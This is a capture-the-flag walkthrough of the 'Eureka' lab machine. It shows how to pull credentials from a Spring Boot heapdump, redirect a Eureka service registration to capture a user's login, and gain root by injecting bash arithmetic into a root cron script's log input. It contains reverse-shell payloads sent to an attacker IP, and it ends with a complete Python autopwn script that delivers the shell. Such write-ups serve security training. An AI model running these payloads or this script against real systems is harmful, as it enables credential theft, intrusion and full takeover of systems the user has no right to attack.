by 0xW1LD
As always we can start off with an nmap
scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6b2104232354dc9aebd3f1f5865ce49 (RSA)
| 256 90119d67b6f664d4df7fed4a902e6d7b (ECDSA)
|_ 256 9437d342955dadf77973a6379445ad47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 401
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Set-Cookie: JSESSIONID=5E96959A3853A86DE1CDF8410869C526; Path=/; HttpOnly
| WWW-Authenticate: Basic realm="Realm"
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Length: 0
| Date: Sat, 26 Apr 2025 22:30:13 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 401
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Set-Cookie: JSESSIONID=B0F287F982878828C3396D829AFE5DC9; Path=/; HttpOnly
| WWW-Authenticate: Basic realm="Realm"
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Length: 0
| Date: Sat, 26 Apr 2025 22:30:13 GMT
| Connection: close
| RPCCheck, RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sat, 26 Apr 2025 22:30:16 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8761-TCP:V=7.93%I=7%D=4/27%Time=680D5E77%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1D1,"HTTP/1\.1\x20401\x20\r\nVary:\x20Origin\r\nVary:\x20Acces
SF:s-Control-Request-Method\r\nVary:\x20Access-Control-Request-Headers\r\n
SF:Set-Cookie:\x20JSESSIONID=5E96959A3853A86DE1CDF8410869C526;\x20Path=/;\
SF:x20HttpOnly\r\nWWW-Authenticate:\x20Basic\x20realm=\"Realm\"\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x200\r\nCache-Control:
SF:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragma:\
SF:x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-Len
SF:gth:\x200\r\nDate:\x20Sat,\x2026\x20Apr\x202025\x2022:30:13\x20GMT\r\nC
SF:onnection:\x20close\r\n\r\n")%r(HTTPOptions,1D1,"HTTP/1\.1\x20401\x20\r
SF:\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method\r\nVary:\x2
SF:0Access-Control-Request-Headers\r\nSet-Cookie:\x20JSESSIONID=B0F287F982
SF:878828C3396D829AFE5DC9;\x20Path=/;\x20HttpOnly\r\nWWW-Authenticate:\x20
SF:Basic\x20realm=\"Realm\"\r\nX-Content-Type-Options:\x20nosniff\r\nX-XSS
SF:-Protection:\x200\r\nCache-Control:\x20no-cache,\x20no-store,\x20max-ag
SF:e=0,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX-Fr
SF:ame-Options:\x20DENY\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2026\x20
SF:Apr\x202025\x2022:30:13\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSP
SF:Request,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset
SF:=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x2
SF:0Sat,\x2026\x20Apr\x202025\x2022:30:16\x20GMT\r\nConnection:\x20close\r
SF:\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Statu
SF:s\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text
SF:/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20
SF:h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size
SF::22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{
SF:font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;backgr
SF:ound-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status
SF:\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%r(RPCChe
SF:ck,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-
SF:8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sat,
SF:\x2026\x20Apr\x202025\x2022:30:16\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20
SF:400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text/css\
SF:">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x
SF:20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size:22px
SF:;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-
SF:size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;background-
SF:color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status\x204
SF:00\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see 3 ports open.
22
for ssh80
for http8761
for Spring Netflix Eureka
Opening up furni.htb
we are greeted with a furniture site.
Looking around seems to be a pretty secure web app. Testing for robots.txt
leads to:
Attempting to access port 8761
we’re provided with a basic-auth prompt.
Looking around at Netflix Eureka
they use a framework called Spring Boot
as we can see here: Spring Cloud Netflix
Let’s take a look at the Rest API
of Spring Boot
: Actuator Rest API
If we visit Furni.htb actuator health we get:
1
{"status":"UP"}
One interesting endpoint is mappings
to provide us information on the application’s request mappings: Mappings
Visiting Furni.htb Mappings, we get:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
{
"contexts": {
"Furni": {
"mappings": {
"dispatcherServlets": {
"dispatcherServlet": [
{
"handler": "Actuator web endpoint 'threaddump'",
"predicate": "{GET [/actuator/threaddump], produces [text/plain;charset=UTF-8]}",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping.OperationHandler",
"name": "handle",
"descriptor": "(Ljakarta/servlet/http/HttpServletRequest;Ljava/util/Map;)Ljava/lang/Object;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/threaddump"
],
"produces": [
{
"mediaType": "text/plain;charset=UTF-8",
"negated": false
}
]
}
}
},
{
"handler": "Actuator web endpoint 'info'",
"predicate": "{GET [/actuator/info], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping.OperationHandler",
"name": "handle",
"descriptor": "(Ljakarta/servlet/http/HttpServletRequest;Ljava/util/Map;)Ljava/lang/Object;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/info"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
<SNIP>
One of the most interesting endpoints is: heapdump
, if we check the API Docs we can see that the output is binary data:
To retrieve the heap dump, make a
GET
request to/actuator/heapdump
. The response is binary data and can be large. Its format depends upon the JVM on which the application is running. When running on a HotSpot JVM the format is HPROF and on OpenJ9 it is PHD. Typically, you should save the response to disk for subsequent analysis. When using curl, this can be achieved by using the-O
option, as shown in the following example…
So let’s grab the heapdump
.
1
2
3
4
5
curl http://furni.htb/actuator/heapdump -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 76.4M 100 76.4M 0 0 730k 0 0:01:47 0:01:47 --:--:-- 1013k
Looking around we can use the port number we found earlier to find something interesting:
1
2
3
4
5
6
7
8
strings heapdump | grep 8761
P`http://localhost:8761/eureka/
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
http://localhost:8761/eureka/!
http://localhost:8761/eureka/!
Host: localhost:8761
http://localhost:8761/eureka/!
Host: localhost:8761
We get the credentials:
EurekaSrvr
:0scarPWDisTheB3st
Additionally, based on this password we can look for the user named oscar
and we find the following.
1
2
3
strings heapdump | grep -E "oscar"
oscar190!
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
We get more credentials:
oscar190
:0sc@r190_S0l!dP@sswd
We can use these to ssh
and get a shell onto the box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssh oscar190@furni.htb
oscar190@furni.htbs password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 27 Apr 2025 09:32:11 AM UTC
System load: 0.13
Usage of /: 61.6% of 6.79GB
Memory usage: 41%
Swap usage: 0%
Processes: 241
Users logged in: 0
IPv4 address for eth0: 10.129.235.146
IPv6 address for eth0: dead:beef::250:56ff:feb0:352a
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Apr 27 09:32:14 2025 from 10.10.14.158
oscar190@eureka:~$
Using the credentials we’re able to login on port 8761
, and we are greeted by Spring Eureka Dashboard
.
Looking around we can find the article: Hacking Netflix Eureka
Let’s try the second approach on the blogpost which allows us to redirect user traffic towards our machine.
So let’s write index.html
.
1
2
3
4
5
HTML/1.1 200 OK
Content-type: text/html
Content-length: 33
<script>alert("TEST")</script>
and let’s start a listener with our index.html
file in the STDIN
stream.
1
2
3
4
nc -lvnp 8080 < index.html
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
And let’s craft a request using the data from USER MANAGEMENT SERVICE APP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.129.234.98</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1745723382406</registrationTimestamp>
<lastRenewalTimestamp>1745745454958</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1745723382406</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://localhost:8081/</homePageUrl>
<statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1745723382406</lastUpdatedTimestamp>
<lastDirtyTimestamp>1745723381369</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
Let’s delete the existing instance.
1
curl -X DELETE 'http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081'
We should be able to create an endpoint towards our machine with the following payload.
1
curl 'http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/' -d '{"instance":{"instanceId":"USER-MANAGEMENT-SERVICE","app":"USER-MANAGEMENT-SERVICE","appGroupName":null,"ipAddr":"10.10.14.158","sid":"na","homePageUrl":"http://10.10.14.158:8081/","statusPageUrl":"http://10.10.14.158:8081/actuator/info","healthCheckUrl":"http://10.10.14.158:8081/actuator/health","secureHealthCheckUrl":null,"vipAddress":"user-management-service","secureVipAddress":"user-management-service","countryId":1,"dataCenterInfo":{"@class":"com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo","name":"MyOwn"},"hostName":"10.10.14.158","status":"UP","overriddenStatus":"UNKNOWN","leaseInfo":{"renewalIntervalInSecs":30,"durationInSecs":90,"registrationTimestamp":0,"lastRenewalTimestamp":0,"evictionTimestamp":0,"serviceUpTimestamp":0},"isCoordinatingDiscoveryServer":false,"lastUpdatedTimestamp":1630906180645,"lastDirtyTimestamp":1630906182808,"actionType":null,"asgName":null,"port":{"$":8081,"@enabled":"true"},"securePort":{"$":443,"@enabled":"false"},"metadata":{"management.port":"8081"}}}' -H "Content-type: Application/json"
On the user management service we should now see our own data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>USER-MANAGEMENT-SERVICE</instanceId>
<hostName>10.10.14.158</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.14.158</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1745748658900</registrationTimestamp>
<lastRenewalTimestamp>1745748658900</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1745748658900</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://10.10.14.158:8081/</homePageUrl>
<statusPageUrl>http://10.10.14.158:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://10.01.14.158:8081/actuator/health</healthCheckUrl>
<vipAddress>user-management-service</vipAddress>
<secureVipAddress>user-management-service</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1745748658900</lastUpdatedTimestamp>
<lastDirtyTimestamp>1630906182808</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
Now the waiting game starts, we have to wait for a user to login to our instance.
After waiting a couple minutes we should get a response on our listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Ncat: Connection from 10.129.235.146.
Ncat: Connection from 10.129.235.146:36224.
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=Yzk2Y2NjZTItMzFmYS00YjI0LTliODgtNTAzZjc0YTg5OTY2
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:44654"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.158:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=U-giSLlpz4je9zxMpzHeT5aEJ8f1gm3DO-b7KD2EOtQfhvp7at4Tf48N_e3zkg4qwRzqLfSzCv_B4V7uXtLIHQXgCuUp5ZxL
We get the following credentials:
miranda.wise
:IL!veT0Be&BeT0L0ve
Using oscar190
’s access we can see the actual username in /etc/passwd
.
1
2
3
4
5
cat /etc/passwd
<SNIP>
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
</SNIP>
Just like that we have User!
Running pspy
we see the following script being ran.
1
2025/04/27 12:08:03 CMD: UID=0 PID=518206 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
Within the script we can see the following insecure code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
According to Vidar’s blog it is possible to execute code with the -eq
comparison.
Looking at the directory permissions www-data
and developers
have access, if we check our groups we’re in the developers
group.
1
2
3
4
5
6
7
8
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la
total 48
drwxrwxr-x 2 www-data developers 4096 Apr 27 05:34 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-r--r-- 1 www-data www-data 29197 Apr 27 12:09 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
So let’s remove application.log
.
1
rm application.log
And let’s write a malicious status code with code execution.
1
echo '2025-04-09T11:27:02.286Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: a[$(cat /root/root.txt >> /tmp/w1ld.txt)]+0' > application.log
We can see that after a little wait it executed the command!
1
2
ls -lash /tmp/w1ld.txt
4.0K -rw-r--r-- 1 root root 264 Apr 27 12:28 /tmp/w1ld.txt
To get a root shell we must simply replace the cat
command in the log
with a rev shell or set the SUID bit of /bin/bash
. etc.
1
2
3
4
5
6
7
8
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.235.146.
Ncat: Connection from 10.129.235.146:44162.
bash: cannot set terminal process group (545914): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~#
Just like that we have root!
Thanks to
@jkr
for discussing this with me!
There’s another vulnerability in the script, here’s a snippet with added comments to explain it.
1
2
3
4
5
6
7
8
9
10
# This creates an associative array(essentially a key:value array)
declare -A successful_users # Associative array: username -> count
# This checks if `username` already has an array element associated with it
if [ -n "${successful_users[$username]+_}" ]; then
# This just increments the count value of the array
successful_users[$username]=$((successful_users[$username] + 1)) # <--------- this is vulnerable
else
# this sets the base value of count to 1
successful_users[$username]=1
fi
According to Vidar’s blog
The shell evaluates values in an arithmetic context in several syntax constructs where the shell expects an integer. This includes:
$((here))
,((here))
,${var:here:here}
,${var[here]}
,var[here]=..
and on either side of any[[
numerical comparator like-eq
,-gt
,-le
and friends.
Therefore based on the snippet and shell evaluation mentioned above our attack path is to poison the logs through username. We need to input the same username twice, here’s why:
So if we simply login with the following username twice:
1
`bash -i >& /dev/tcp/10.10.X.X/9001 0>&1`
It doesn’t matter that we’re told we have Bad Credentials
Because the username itself is already in the log file /var/www/web/user-management-service/log/application.log
1
2
2025-04-28T05:15:06.626Z INFO 1324 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-8] c.e.Furni.Security.LoginFailureLogger : Login failed for user '`bash -i >& /dev/tcp/10.10.14.158/9001 0>&1`': Bad credentials
2025-04-28T05:15:11.224Z INFO 1324 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-5] c.e.Furni.Security.LoginFailureLogger : Login failed for user '`bash -i >& /dev/tcp/10.10.14.158/9001 0>&1`': Bad credentials
And because it will appear twice, the log_analyse.sh
script will see the first one, create a new array element, see the second one and attempt the arithmetic with it.
We should get a call back on our listener within 2 minutes.
1
2
3
4
5
6
7
8
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.236.230.
Ncat: Connection from 10.129.236.230:57698.
bash: cannot set terminal process group (1555176): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~#
Given that this is almost impossible to know blind it’s really difficult to see that this is a vulnerability. That being said… this is now one of the stupid things I’ll try first: bash injection in username twice 😅.
This box had interested me so much that I decided to vibe code a quick way to get back into the box as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import socket, sys, time, requests, argparse
from bs4 import BeautifulSoup
def get_session_and_csrf():
"""Retrieves the session and CSRF token from the login page."""
try:
response = requests.get("http://furni.htb/login")
response.raise_for_status() # Raise an exception for bad status codes
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': '_csrf'})['value']
session_cookie = response.cookies.get('SESSION') # Use the correct cookie name 'SESSION'
return session_cookie, csrf_token
except requests.exceptions.RequestException as e:
print(f"[ - ] Error fetching login page: {e}")
sys.exit(1)
except (AttributeError, TypeError) as e:
print(f"[ - ] Error parsing CSRF token: {e}")
sys.exit(1)
def listen(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print(f"[ + ] Listening on {ip}:{port}")
conn, addr = s.accept()
print(f"[ + ] Connection received from {addr[0]}:{addr[1]}")
while True:
try:
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
command += "\n"
conn.send(command.encode())
time.sleep(1)
sys.stdout.write("\033[A" + ans.split("\n")[-1])
except ConnectionResetError:
print("[ ! ] Connection reset by target.")
break
except Exception as e:
print(f"[ ! ] Error during communication: {e}")
break
conn.close()
s.close()
def req(ip, session_cookie, csrf_token):
"""Sends the reverse shell payload with the retrieved session and CSRF token."""
encoded_payload = f"bash -i >& /dev/tcp/{ip}/9999 0>&1"
url_encoded_payload = requests.utils.quote(encoded_payload)
data = f"username=%60{url_encoded_payload}%60&password=w1ld_w4s_h3r3&_csrf={csrf_token}"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://furni.htb/login?error'
}
cookies = {'SESSION': session_cookie} # Set the 'SESSION' cookie
try:
resp = requests.post("http://furni.htb/login", data=data, headers=headers, cookies=cookies, allow_redirects=False)
if resp.status_code == 302:
print("[ + ] Payload likely sent successfully (redirect observed). Check your listener. (may take 2 minutes)")
elif resp.ok:
print("[ + ] Payload successfully sent (no redirect). Check your listener.")
else:
print(f"[ - ] Error sending payload. Status code: {resp.status_code} {resp.reason}")
print(f"[ - ] Response content: {resp.text}")
sys.exit(1)
except requests.exceptions.RequestException as e:
print(f"[ - ] Error sending POST request: {e}")
sys.exit(1)
def main():
p = argparse.ArgumentParser(description="Autopwn Eureka!")
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("-i", "--ip", help="Attacker ip address, e.g., 10.10.14.50")
args = p.parse_args()
if not args.ip:
print("[ - ] No IP specified.")
sys.exit(1)
session_cookie, csrf_token = get_session_and_csrf()
print(f"[ + ] Retrieved Session ID: {session_cookie}")
print(f"[ + ] Retrieved CSRF Token: {csrf_token}")
req(args.ip, session_cookie, csrf_token)
req(args.ip, session_cookie, csrf_token)
listen(args.ip, 9999)
if __name__ == "__main__":
main()